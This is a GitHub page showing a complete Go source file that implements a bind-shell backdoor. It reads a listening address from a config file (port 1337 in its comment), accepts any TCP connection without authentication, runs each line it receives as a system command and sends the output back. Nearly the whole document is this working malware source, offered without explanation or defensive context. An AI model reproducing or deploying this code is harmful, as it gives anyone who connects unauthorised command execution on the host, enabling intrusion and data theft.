-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
82 lines (70 loc) · 1.43 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package main
import (
"fmt"
"log"
"net"
"strings"
"os/exec"
"io/ioutil"
"encoding/json"
)
type Configuration struct {
Socket string
Address string
}
func backdoor(connection net.Conn) bool {
defer connection.Close();
var buffer [512]byte
for {
n, err := connection.Read(buffer[0:])
if err != nil {
connection.Write([]byte(err.Error()))
return false;
}
packet := string(buffer[:n])
packet = strings.TrimSuffix(packet, "\n")
cmd := strings.Fields(packet);
if(len(cmd) >= 1) {
head := cmd[0];
parts := cmd[1:len(cmd)]
fmt.Printf("%s\r\n", packet);
if packet == "DISCONNECT" {
return true;
}
out, err := exec.Command(head, parts...).Output()
if err != nil {
newline := []byte("\n");
connection.Write(append([]byte(err.Error()), newline[:]...))
}
n, err = connection.Write(out)
if err != nil {
connection.Write([]byte(err.Error()))
return false;
}
}
}
}
func main() {
// { "Socket" : "tcp", "Address" : ":1337" }
file, err := ioutil.ReadFile("godoor.conf")
if err != nil {
log.Fatal(err)
}
configuration := new(Configuration)
err = json.Unmarshal(file, configuration)
if err != nil {
log.Fatal(err)
}
listener, err := net.Listen(configuration.Socket, configuration.Address)
if err != nil {
log.Fatal(err)
}
defer listener.Close()
for {
connection, err := listener.Accept()
if err != nil {
log.Fatal(err)
}
go backdoor(connection);
}
}